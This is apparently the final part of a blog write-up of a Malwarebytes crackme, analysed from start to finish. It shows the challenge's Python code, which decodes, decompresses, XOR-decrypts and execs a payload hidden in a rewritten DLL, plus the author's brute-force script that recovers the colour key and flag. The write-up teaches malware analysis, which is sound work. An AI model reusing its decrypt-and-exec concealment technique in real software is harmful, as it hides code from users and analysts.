<figure id="post-15657 media-15657" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15657 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37.png" alt="" width="640" height="395" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37-309x191.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37-63x39.png 63w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Loading a library and writing the decrypted buffer at its location</i></span></div>
<p>Since the actxprxy.dll library is not used anywhere in the analyzed DLL after being re-written, it may be seen as a <b>covert communication channel </b>between the analyzed DLL and the main program mb_crackme_2.exe. After this, the function clears every allocated memory and exits. The created thread (see 4.2.6) therefore also exits, and the DllEntryPoint function call terminates, giving the control back to the main python script.</p>
<h3>Triggering the secret console</h3>
<p>As seen in the DLL analysis, to trigger the required conditions, a file named<b> “secret_console – Notepad”</b> is opened in a text editor. As such, the window title contains the mentioned substrings:</p>
<figure id="post-15659 media-15659" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15659 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38.png" alt="" width="320" height="219" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38-279x191.png 279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38-57x39.png 57w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Opening a file named &#8220;secret_console_Notepad.txt&#8221; on Notepad++</span></i></div>
<p>As expected, the title of the window is changed to “Secret Console is waiting for the commands…” by the malware. Writing “dump_the_key” in the window validates the second stage.</p>
<figure id="post-15661 media-15661" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15661 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39.png" alt="" width="320" height="242" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39-253x191.png 253w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39-52x39.png 52w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Writing &#8220;dump_the_key&#8221; in the text editor</i></span></div>
<h1>Stage 3: the colors</h1>
<p>After validating the previous step, a message is printed on the console, asking the user to “guess a color”:</p>
<figure id="post-15663 media-15663" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15663 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40.png" alt="" width="640" height="67" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40-71x7.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Level 3 Message</i></span></div>
<p>The <b>three components (R, G and B) of a specific color</b>, with values going from 0 to 255, need to be entered to validate this step.</p>
<figure id="post-15665 media-15665" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15665 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41.png" alt="" width="320" height="144" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41-71x32.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Level 3 failed guess message</i></span></div>
<h3>Understanding the code</h3>
<p>Looking back at the another.py’s main() function code, it seems that the corresponding operations are performed inside the <b>decode_pasted()</b> function.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def main():
   [...]
      load_level2(decdata, len(decdata))
      user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
      try:
         if decode_pasted() == True:
            user32_dll.MessageBoxA(None, '''Congratulations! Now save your flag and 
send it to Malwarebytes!''', 'You solved it!', 0)
            return 0</pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>def decode_pasted():
    my_proxy = kernel_dll.GetModuleHandleA('actxprxy.dll')
    if my_proxy is None or my_proxy == 0:
        return False
    else:
        char_sum = 0
        arr1 = my_proxy
        str = ''
        while True:
            val = get_char(arr1)
            if val == '\x00':
                break
            char_sum += ord(val)
            str = str + val
            arr1 += 1

        print char_sum
        if char_sum != 52937:
            return False
        colors = level3_colors()
        if colors is None:
            return False
        val_arr = zlib.decompress(base64.b64decode(str))
        final_arr = dexor_data(val_arr, colors)
        try:
            exec final_arr
        except:
            print 'Your guess was wrong!'
            return False

        return True</pre>
</div>
<p>&nbsp;</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def dexor_data(data, key):
    maxlen = len(data)
    keylen = len(key)
    decoded = ''
    for i in range(0, maxlen):
        val = chr(ord(data[i]) ^ ord(key[i % keylen]))
        decoded = decoded + val
    return decoded</pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def level3_colors():
    colorama.init()
    print colorama.Style.BRIGHT + colorama.Fore.CYAN
    print '''Level #3: Your flag is almost ready! But before it will be revealed
, you need to guess it's color (R,G,B)!'''
    print colorama.Style.RESET_ALL
    color_codes = ''
    while True:
        try:
            val_red = int(raw_input('R: '))
            val_green = int(raw_input('G: '))
            val_blue = int(raw_input('B: '))
            color_codes += chr(val_red)
            color_codes += chr(val_green)
            color_codes += chr(val_blue)
            break
        except:
            print 'Invalid color code! Color code must be an integer (0,255)'
    print 'Checking: RGB(%d,%d,%d)' % (val_red, val_green, val_blue)
    return color_codes</pre>
</div>
<p>According to the decode_pasted() function, the decrypted buffer stored at the start of actxprxy.dll’s address space is read and:<br />
base64-decoded;</p>
<ul>
<li>zlib-decompressed;</li>
<li>XOR’ed against the user-provided colors values;</li>
<li>Executed by the Python exec function.</li>
</ul>
<p>To start our cryptanalysis, we <b>modify the decode_pasted() function</b> to dump the val_arr buffer before the dexor_data() operation, and rerun another.py, providing all required credentials:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[...]
if colors is None:
   return False
val_arr = zlib.decompress(base64.b64decode(str))
with open("val_arr.bin", "wb") as f:
   f.write(val_arr)
   print "val_arr dumped !"
exit()
final_arr = dexor_data(val_arr, colors)
[...]</pre>
</div>
<p>&nbsp;</p>
<figure id="post-15667 media-15667" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15667 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42.png" alt="" width="213" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42.png 213w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42-71x39.png 71w" sizes="auto, (max-width: 213px) 100vw, 213px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Dumping the XOR&#8217;ed array</span></i></div>
<h3>Decrypting the val_arr buffer</h3>
<p>Knowing that the buffer is a string passed to the “exec” Python statement after being decrypted, it should represent a <b>valid Python source code</b>.<br />
To find the right key, the naïve solution would be to run a brute-force attack on all the possible “(R, G, B)” combinations, and look for printable solutions. This solution would need to perform 256^3 = 16’777’216 dexor_data() calls, which is feasible but <b>inefficient</b>.<br />
Instead, we perform 3 independent brute-force attacks on each R, G and B component, therefore performing 256 x 3 = 768 dexor_data() calls. The 3 brute-force attacks are performed on different “slices” of the val_arr string (of each of stride 3). We then test each combination of potential values previously found for each component.<br />
For example, if our 3 brute-force attacks indicate that:</p>
<ul>
<li>R can take values 2 and 37,</li>
<li>G can take values 77 and 78,</li>
<li>and B can only take the value 3,</li>
</ul>
<p>Then we test the combinations (2,77, 3), (37,77, 3), (2,78, 3) and (37,78, 3).</p>
<p>The following code implements our attack:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>import string
import itertools
from colorama import *
from another import dexor_data

with open("val_arr.bin", "rb") as f:
    val_arr = f.read()

#lists of possible values for R, G and B
potential_solutions = [list(), list(), list()]
for color in range(3): # separate bruteforce on R, G and B
    for xor_value in range(256): #testing all potential values
        valid = True
        for b in val_arr[color::3]: #extracting one every 3 characters, from index 
        # "color" (i.e. extracting all characters xored by the same "color" value)
            if chr(ord(b) ^ xor_value) not in string.printable:
                valid = False
                break
        if valid:
            potential_solutions[color].append(xor_value)

print "Possible values for R, G and B :", potential_solutions

for colors in itertools.product(*potential_solutions):
    print "Testing ", colors
    plaintext = dexor_data(val_arr, map(chr, colors))
    print repr(plaintext)
    if not raw_input("Does it seems right ? [Y/n]\n").startswith("n"):
       print "Executing payload :"
       exec plaintext
       break</pre>
</div>
<p>Executing this code gives us the solution instantly:</p>
<figure id="post-15669 media-15669" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15669 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43.png" alt="" width="640" height="199" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43-71x22.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Decrypting the payload</span></i></div>
<p>The final flag appears in the console:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>flag{"Things are not always what they seem; the first appearance 
deceives many; the intelligence of a few perceives what has been 
carefully hidden." - Phaedrus}</pre>
</div>
<h2>Conclusion</h2>
<p>This challenge was very interesting to solve, because apart from being an original crackme, it also included various topics that could be found during a real malware analysis. These topics included:</p>
<ul>
<li>DLL-rewriting techniques, here used as a kind of covert communication channel between a DLL and its main process;</li>
<li>“Non-obvious” anti-debugging tricks, like checking the presence of a known library in the process’ memory space to identify standalone DLL debugging;</li>
<li>Concealed malware downloading, using « harmless » formats (like PNG) to hide an executable payload from basic traffic analysis;</li>
<li>PyInstaller-based malware, (yes, sometimes malware writers can be lazy).</li>
</ul>
<p>Thanks MalwareBytes for this entertaining challenge!</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/06/malwarebytes-challenge-write-up/">Malwarebytes challenge write-up</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
